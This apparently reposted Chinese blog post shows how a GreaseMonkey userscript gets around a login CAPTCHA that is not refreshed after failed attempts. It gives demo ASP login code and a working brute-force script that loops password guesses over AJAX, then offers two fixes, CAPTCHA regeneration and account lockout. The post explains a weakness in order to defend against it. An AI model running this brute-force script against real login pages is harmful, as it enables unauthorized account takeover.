GreaseMonkey讓網站登錄驗證碼形同虛設


通常,為了增加暴力猜解網站用戶密碼的難度,我們會在網頁登錄框中增加一個驗證碼,驗證碼保存在服務器端,而客戶端則使用一張圖片顯示:



驗證碼在整個登錄過程表現為:用戶打開登錄頁面時,服務器產生一個驗證碼,點擊登錄后,跳轉到登錄頁面,服務器端檢查用戶輸入的驗證碼是否正確,若錯誤,跳回到登錄頁面,生成一個新驗證碼讓用戶再次輸入登錄。 注意,生成新驗證碼的條件是登錄頁面刷新了!

以前沒覺得這有什么問題,今天了解12306自動登錄腳本后,發現這問題太嚴重了,當使用GreaseMonkey時,簡直可以無視驗證碼的存在,原因是 借助GreaseMonkey可以在頁面使用Ajax提交表單進行登錄,這過程不會刷新登錄頁面,所以服務器不會生成新驗證碼,因而只要手工輸下驗證碼,腳本就可以不斷嘗試登錄進行猜解用戶名密碼!

1.GreaseMonkey自動登錄演示

為了減少代碼量,便於說明問題,下邊演示時驗證碼不轉為圖形,直接輸出Session,效果一樣,不影響結論。

 

Default.asp:
View Code
<%@LANGUAGE= " VBSCRIPT " CODEPAGE= " 65001 "%>
<!DOCTYPE html  PUBLIC  " -//W3C//DTD XHTML 1.0 Transitional//EN "  " http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd ">
<html xmlns= " http://www.w3.org/1999/xhtml ">
<head>
<meta http-equiv= " Content-Type " content= " text/html; charset=utf-8 " />
<title>登錄演示</title>
</head>

<body>
<%
Randomize
SESSION( " passCode ") =  Int( 8999* Rnd+ 1000' 生成驗證碼
%>
<form id= " form1 " name= " form1 " method= " post " action= " Login.asp ">
用戶名:<input type= " text " name= " txtUsn " id= " txtUsn " /><br />
密碼:<input type= " text " name= " txtUsp " id= " txtUsp " /><br />
驗證碼:<input type= " text " name= " txtPassCode " id= " txtPassCode " /><%=SESSION( " passCode ")%> <br />
<input type= " submit " name= " btn1 " id= " btn1 " value= " 提交 " />
</form>
</body>
</html>
Login.asp:
View Code
<%
Response.Charset =  " utf-8 "

Dim usn, usp, code, msg
usn = Request.Form( " txtUsn ")
usp = Request.Form( " txtUsp ")
code = Request.Form( " txtPassCode ")

Response.Write(Login(usn, usp, code))

' 登錄函數
Function Login(usn, usp, code)
     If SESSION( " Login ") =  True  Then
        Login =  " 登錄成功. "
     Else
         If usn<> ""  And usp<> ""  Then
             If code<> CStr(SESSION( " passCode "))  Then
                Login =  " 驗證碼出錯,請重新輸入. "
                 Exit  Function
             End  If
        
             If usn= " admin "  And usp= " admin888 "  Then
                SESSION( " Login ") =  True
                Login =  " 登錄成功. "
             Else
                Login =  " 用戶名或密碼出錯,請重新輸入. "
             End  If
         Else
            Login =  " 用戶未登錄. "
         End  If
     End  If    
End Function
%>
GreaseMonkey腳本:
View Code
//  ==UserScript==
//
 @name           自動登錄
//
 @namespace      com.mzwu
//
 @include        http://localhost/default.asp
//
 @require           https://ajax.googleapis.com/ajax/libs/jquery/1.7.1/jquery.min.js
//
 ==/UserScript==


if( typeof($) != "undefined")
{
    $("body").append("<input type=\"button\" name=\"btn2\" id=\"btn2\" value=\"登錄測試\" />");

    $("#btn2").click( function(){
         var usn = "admin";
         var usp = "";
         var code = $("#txtPassCode").val();
         var responseText = "";
         var i = 0;

         while(responseText.indexOf("登錄成功") == -1)
        {
            usp = "admin88" + (++i);  // 猜解密碼
            $.ajax({
                type : "POST",
                url  : "Login.asp?r=" + Math.random(),
                data : "txtUsn=" + usn + "&txtUsp=" + usp + "&txtPassCode=" + code,
                async:  false,
                success :  function(msg){
                    responseText = msg;
                     if(responseText.indexOf("登錄成功") != -1)
                    {
                        alert("登錄成功.嘗試次數:" + i);
                        location.href = "Login.asp";
                    }
                }
            });
        }
    });

    clearInteval(timer);
}
測試結果:

 


2.解決方法


提供兩種解決方法供參考:

方法一:當驗證登錄用戶名或密碼出錯時,服務器端強制生成新驗證碼;
方法二:當嘗試登錄5次失敗時,將帳戶鎖定一段時間不能登錄;

3.參考資料

[1].Firefox擴展Greasemonkey使用示例: http://www.mzwu.com/article.asp?id=3091


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM